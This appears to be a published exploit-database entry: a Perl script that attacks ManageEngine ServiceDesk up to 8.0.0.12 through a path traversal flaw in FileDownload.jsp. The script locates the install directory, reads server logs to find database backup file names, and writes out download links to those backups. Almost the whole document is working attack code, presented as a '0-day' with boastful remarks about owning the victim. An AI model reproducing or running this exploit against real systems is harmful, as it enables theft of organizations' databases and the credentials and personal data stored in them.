ManageEngine ServiceDesk <= 8.0.0.12 Database Disclosure Exploit

# Exploit Title: ManageEngine ServiceDesk <= 8.0.0.12 Database Disclosure
# Google Dork: none
# Date: 07.07.2011
# Author: @ygoltsev
# Software Link: http://www.manageengine.com/
# Version: <=8.0.0.12
# Tested on: Windows
# CVE : None

 

#!/usr/bin/perl
use LWP::UserAgent;
use File::stat;

$ptxt="
#################################################
# _____             _         ____          _  
#|   __|___ ___ _ _|_|___ ___|    \ ___ ___| |_
#|__   | -_|  _| | | |  _| -_|  |  | -_|_ -| '_|
#|_____|___|_|  \_/|_|___|___|____/|___|___|_,_|
#                                           
#################################################
 [0-day] [Database disclosure]
[desc: Exploit for ServiceDesk v *.* OS: Windows]
";

print $ptxt;

 

$ua=LWP::UserAgent->new();

 

$url="http://127.0.0.1";

$path="/workorder/FileDownload.jsp";

 

 

$installPath=&getInstallPathWin($url,$path);

 

if ($installPath ne "") {

                @backups=&getServerOutLogs($url,$path,$installPath);

} else {

                print "Install path not found :(\n";

                exit();

}

 

if (scalar(@backups)>0) {

                print "hehe.. We got paths to backup files..\n If they are
on the same drive and exists - we will own their world!!\n";

                foreach $backLine (@backups) {

                               @backInfo=split(/ --- /,$backLine);

                               #print "Trying to download $backInfo[1] from
$backInfo[0]...\n";

                               &downloadBackups($url,$path,$backLine);

                }

}

unlink("bad");

 

print "Dude, check out \'db_backups.html\'\n";

 

 

sub downloadBackups {

                my ($url,$path,$backLine) = @_;

                @backInfo=split(/ --- /,$backLine);

 
$backupUrl="${url}${path}?module=agent\&path=./\&delete=false\&FILENAME=..\\
..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\
..\\..\\..\\..\\$backInfo[0]$backInfo[1]";

                #$br=$ua->get($backupUrl);

                #if ($br->is_success) {

                #             open(A,">$backInfo[1]");

                #             print A $br->content;

                #             close(A);

                #}

                open(A,">>db_backups.html");

                print A "<a href='$backupUrl'>$backInfo[1]</a><br>\n";

                close(A);

}

 

 

 

sub getServerOutLogs {

                my ($url,$path,$installPath) = @_;

               

 
$badUrl="${url}${path}?module=agent\&path=./\&delete=false\&FILENAME=..\\..\
\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\
\..\\..\\..\\${installPath}server\\default\\log\\serverout11111111111${i}.tx
t";

                $br=$ua->get($badUrl);

                if ($br->is_success) {

                               open(A,">bad");

                               print A $br->content;

                               close(A);

                }

 

                for ($i=0;$i<=10;$i++) {

 
$logUrl="${url}${path}?module=agent\&path=./\&delete=false\&FILENAME=..\\..\
\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\
\..\\..\\..\\${installPath}server\\default\\log\\serverout${i}.txt";

                               $br=$ua->get($logUrl);

                               if ($br->is_success) {

                                               open(A,">${i}.txt");

                                               print A $br->content;

                                               close(A);

                                               if
(stat("bad")->size!=stat("${i}.txt")->size) {

                                               } else {

 
unlink("${i}.txt");

                                               }

                               }

                }

 

                for ($i=0;$i<=10;$i++) {

                               if (-e "${i}.txt") {

                                               open(A,"${i}.txt");

                                               @log=<A>;

                                               close(A);

                                               foreach $line (@log) {

                                                               if ($line=~/:
Build number(.*): ([0-9]+)\|/) {

 
$tBuild=$2;

 
if ($sdBuild eq "") {

 
$sdBuild=$tBuild;

 
}

                                                               }

                                                               if
($line=~/\[([0-9]+):([0-9]+):([0-9]+):([0-9]+)\]\|\[([0-9]+)-([0-9]+)-([0-9]
+)\]\|\[SYSOUT\](.*)BACKUPDIR=(.*), ATTACHMENT=/) {

 
push(@backups,"$9 ---
backup_servicedesk_XBUILDX_database_${5}_${6}_${7}_${1}_${2}.data");

 

                                                               }

                                               }

                                               unlink("${i}.txt");

                               }

                }

               

                if (scalar(@backups)>0) {

                               print "Man, you are realy lucky! We found
some info about ServiceDesk backups..\nBUT, I need your help now,
hehe\nLet's construct directories!\np.s. type without drive letter, like
\\backup\\\n";

                } else {

                               print "Bad luck.. Check your karma,
seriously..Where is my fucking latte!?!?\np.s. No info about backups was
found :(";

                               exit();

                }

               

                foreach $mb (@backups) {

                               $mb=~s/XBUILDX/$sdBuild/gi;

                               @dir=split(/ --- /,$mb);

                               print "Trash Dir: $dir[0]\n";

                               print "Right Dir: ";

                               chomp($rDir=<STDIN>);

                               if ($rDir ne "") {

                                               $fullDB=$dir[1];

 
$fullDB=~s/database/fullbackup/gi;

                                               push(@backupFiles,"$rDir ---
$dir[1]");

                                               push(@backupFiles,"$rDir ---
$fullDB");

                               }

                }

                return @backupFiles;

}

 

 

 

 

sub getInstallPathWin {

                my ($url,$path) = @_;

 
$url1="${url}${path}?module=agent\&path=./\&delete=false\&FILENAME=..\\..\\.
.\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\.
.\\..\\..\\";

                @paths=("ServiceDesk\\","ManageEngine\\ServiceDesk\\");

 
@checkFiles=("dashgjifyq8412348fhsjfghjqw.txt","COPYRIGHT","logs\\configport
.txt","bin\\run.bat","server\\default\\log\\boot.log");

                $i=0;

                foreach $p (@paths) {

                               $k=0;

                               foreach $f (@checkFiles) {

                                               $checkUrl="${url1}${p}${f}";

                                               $br=$ua->get($checkUrl);

                                               if ($br->is_success) {

 
open(A,">${i}${k}");

                                                               print A
$br->content;

                                                               close(A);

                                               }

                                               $k++;

                               }

                               $i++;

                }

                for ($i=0;$i<scalar(@paths);$i++) {

                               $ok=0;

                               for ($k=0;$k<scalar(@checkFiles);$k++) {

                                               if (-e "${i}${k}") {

                                                               if ($k==0) {

 
$incorrectSize=stat("${i}${k}")->size;

                                                               } else {

 
if (stat("${i}${k}")->size!=$incorrectSize) {

 
$ok++;

 
}

                                                               }

                                               }

                               }

                               if ($ok>0) {

                                               if ($ok==4) {

                                                               print "You
are lucky! \nServiceDesk installed to: $paths[$i]\n";

 
$ret=$paths[$i];

                                               } elsif ($ok>2) {

                                                               print "I
think ServiceDesk installed to: $paths[$i]\n";

 
$ret=$paths[$i];

                                               } elsif ($ok>1) {

                                                               print "You
are lucky if ServiceDesk installed to: $paths[$i]\n";

 
$ret=$paths[$i];

                                               }

                               }

                }

 

 

                for ($i=0;$i<scalar(@paths);$i++) {

                               for ($k=0;$k<scalar(@checkFiles);$k++) {

                                               unlink("${i}${k}");

                               }

                }

 

                if ($ret eq "") {

                               print "Bad luck man :\/\n";        

                               $ret=0;

                }

                return $ret;

}